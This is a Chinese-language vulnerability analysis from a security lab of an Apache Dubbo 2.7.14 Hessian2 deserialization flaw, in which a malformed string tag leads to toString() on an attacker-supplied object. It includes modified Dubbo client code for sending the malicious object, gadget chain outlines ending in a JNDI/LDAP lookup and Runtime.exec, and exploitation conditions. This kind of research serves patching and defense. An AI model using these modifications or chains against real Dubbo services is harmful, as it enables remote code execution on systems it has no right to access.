作者：Longofo@知道创宇404实验室
日期：2022年1月18日
上周看到Apache官方又发布了一个Apache Dubbo Hessian2的漏洞（https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww），来看看这个描述：
之前有段时间Dubbo的反序列化已经被蹂躏过n次了，而这个解析错误时看起来总有那么点不一样，想想这个漏洞即使比较鸡肋，也必然它值得借鉴的地方。下面来看看这个漏洞，以及Hessian比较处理时比较有意思的地方。
距离之前Dubbo的漏洞也有一段时间了，现在也差不多快忘了，好在之前写过一篇Dubbo的分析（https://paper.seebug.org/1131/），温故一下也能回忆起来。
补丁分析
.toString调用。漏洞环境
-
Apache Dubbo 2.7.14 -
JDK8u102 -
demo拉取官方的dubbo-samples-basic（https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-basic）
漏洞分析
Abstract Deserializer
@Override
public Object readObject(AbstractHessianInput in)
throws IOException {
Object obj = in.readObject();
String className = getClass().getName();
if (obj != null)
throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
else
throw error(className + ": unexpected null value");
}
.toString()的调用了。Hessian2Input
-
通往obj.toString()
com.alibaba.com.caucho.hessian.io.Hessian2Input.java的修复，这类名怎么看都是修复在大动脉上：.expect()中有个读取readObject()的操作，接着就是obj.toString的调用，.expect()在Hessian2Input类中有多处使用。com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()readString:1611, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:41, InternalRunnable (org.apache.dubbo.common.threadlocal)
run:745, Thread (java.lang)
com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()中就有.expect(）的调用，这不巧了吗（并不，一开始并没有在readString()上下断，更令人关注的难道不是readObject()吗，但是有时候你不关注的反而更奇妙），因为刚好在上两层栈，就是整个Dubbo rpc调用处理的decode函数：.expect()了，然后触发expect()中的readObject()。readString()处理：public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
case 17:
case 18:
case 19:
case 20:
case 21:
case 22:
case 23:
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
...
case 67:
...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
...
...省略
case 253:
case 254:
case 255:
return String.valueOf((tag - 248 << 8) + this.read());
}
}
.read()中读取tag：public final int read() throws IOException {
return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
}
this._buffer[this._offset++] & 255的范围只能为0-255，这根本到不了default里面啊，那只能寄希望于this._length <= this._offset && !this.readBuffer()返回-1了。可是折腾了半天，这里就不可能返回-1...-
畸形数据包构造=>代码调用
obj.toString()，就要构造畸形数据包改变正常流向。一开始抓包看了下，发送的包还挺多的，这要构造起来不得把dubbo翻一遍。后来想想，服务端既然用Hessian2Input处理的数据，那么客户端可能就是用Hessian2Output处理的，经过一些测试，我重写了Apache Dubbo部分代码改变Hessian2Input.readString()走向，以及能成功的在expect方法中readObject。com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String):public void writeString(String value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();
int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
char tail = value.charAt(strOffset + sublen - 1);
if ('ud800' <= tail && tail <= 'udbff') {
--sublen;
}
buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (length <= 31) {
if (value.startsWith("2.")) {//这里只让写入version版本的时候使服务端readString异常，走向expect
buffer[offset++] = 67;//取值67
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}
if (!value.startsWith("2.")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}
org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeRequestData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String):protected void encodeRequestData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
RpcInvocation inv = (RpcInvocation) data;
out.writeUTF(version);
out.writeObject(Test.getObject());//写入恶意对象，在expect中readObject的对象
}
org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe：public void doSubscribe(final URL url, final NotifyListener listener) {
try {
String path;
if ("*".equals(url.getServiceInterface())) {
String root = this.toRootPath();
ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
return new ConcurrentHashMap();
});
ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
return (parentPath, currentChilds) -> {
Iterator var5 = currentChilds.iterator();
while (var5.hasNext()) {
String child = (String) var5.next();
child = URL.decode(child);
if (!this.anyServices.contains(child)) {
this.anyServices.add(child);
this.subscribe(url.setPath(child).addParameters(new String[]{"interface", child, "check", String.valueOf(false)}), k);
}
}
};
});
this.zkClient.create(root, false);
List<String> services = this.zkClient.addChildListener(root, zkListener);
if (CollectionUtils.isNotEmpty(services)) {
Iterator var7 = services.iterator();
while (var7.hasNext()) {
path = (String) var7.next();
path = URL.decode(path);
this.anyServices.add(path);
this.subscribe(url.setPath(path).addParameters(new String[]{"interface", path, "check", String.valueOf(false)}), listener);
}
}
} else {
CountDownLatch latch = new CountDownLatch(1);
List<URL> urls = new ArrayList();
String[] var15 = this.toCategoriesPath(url);
int var16 = var15.length;
for (int var17 = 0; var17 < var16; ++var17) {
path = var15[var17];
ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
return new ConcurrentHashMap();
});
ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
return new ZookeeperRegistry.RegistryChildListenerImpl(url, k, latch);
});
if (zkListener instanceof ZookeeperRegistry.RegistryChildListenerImpl) {
((ZookeeperRegistry.RegistryChildListenerImpl) zkListener).setLatch(latch);
}
this.zkClient.create(path, false);
List<String> children = this.zkClient.addChildListener(path, zkListener);
if (children != null) {
urls.addAll(this.toUrlsWithEmpty(url, path, children));
}
}
URL url1 = URL.valueOf(String.format("dubbo://%s:%s/%s?anyhost=true&application=demo-provider&default=true&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=%s&metadata-type=remote&methods=ccc,ddd&pid=111&release=2.7.14&service.name=ServiceBean:/111.222&side=provider×tamp=111&token=aaa", BasicConsumer.targetHost, BasicConsumer.targetPort, BasicConsumer.anyInterface, BasicConsumer.anyInterface));//重写了这里，因为我们不知道目标的接口，zoomkeeper与目标服务通信之后，不会返回目标的ip和端口，所以这里的前提就是如果你不知道目标暴露的接口服务，那么需要知道目标服务的ip和port
urls.set(0, url1);
this.notify(url, listener, urls);
latch.countDown();
}
} catch (Throwable var12) {
throw new RpcException("Failed to subscribe " + url + " to zookeeper " + this.getUrl() + ", cause: " + var12.getMessage(), var12);
}
}
com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer：protected Serializer getDefaultSerializer(Class cl) {
this._isAllowNonSerializable = true;//默认是不允许序列化没有继承Serializable的类，但是神奇的是这只是本地的校验，关闭即可，服务端根本没有校验类需要继承Serializable
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return new JavaSerializer(cl, this._loader);
}
}
-
toString调用链构造注意事项
-
Rome -
XBean -
Resin -
SpringPartiallyComparableAdvisorHolder -
SpringAbstractBeanFactoryPointcutAdvisor
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});
-
javax.swing.MultiUIDefaults是peotect类，只能在javax.swing.中使用，而且Hessian2拿到了构造器，但是没有setAccessable，newInstance就没有权限 -
所以要找链的话需要类是public的，构造器也是public的，构造器的参数个数不要紧，hessian2会自动挨个测试构造器直到成功
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
利用条件
-
知道目标服务的ip&port，不需要知道zoomkeeper注册中心的地址，上面测试项目中使用的是这种样例，可以看到在客户端代码中，我没有用服务端提供的接口而是随便写的一个，依然可以成功利用 -
或者需要知道zoomkeeper的ip&port+一个目标的interface接口名称（因为先和zoomkeeper通信，如果没有提供正确的接口名称，他不会返回目标的ip和port信息，如果你知道目标的一个interface接口，那么就可以借助zoomkeeper拿到目标的ip和port，总之和zoomkeeper通信的目的也是拿到目标的ip和port） -
一个toString利用链
最后
-
类似Hessian2这种反序列化组件，如果要发现类似的漏洞，可以把他们的核心处理类比如Hessian2的Hessian2Input的所有readXXX方法作为source -
畸形数据有时候构造不容易，可以考虑从客户端代码转换
END
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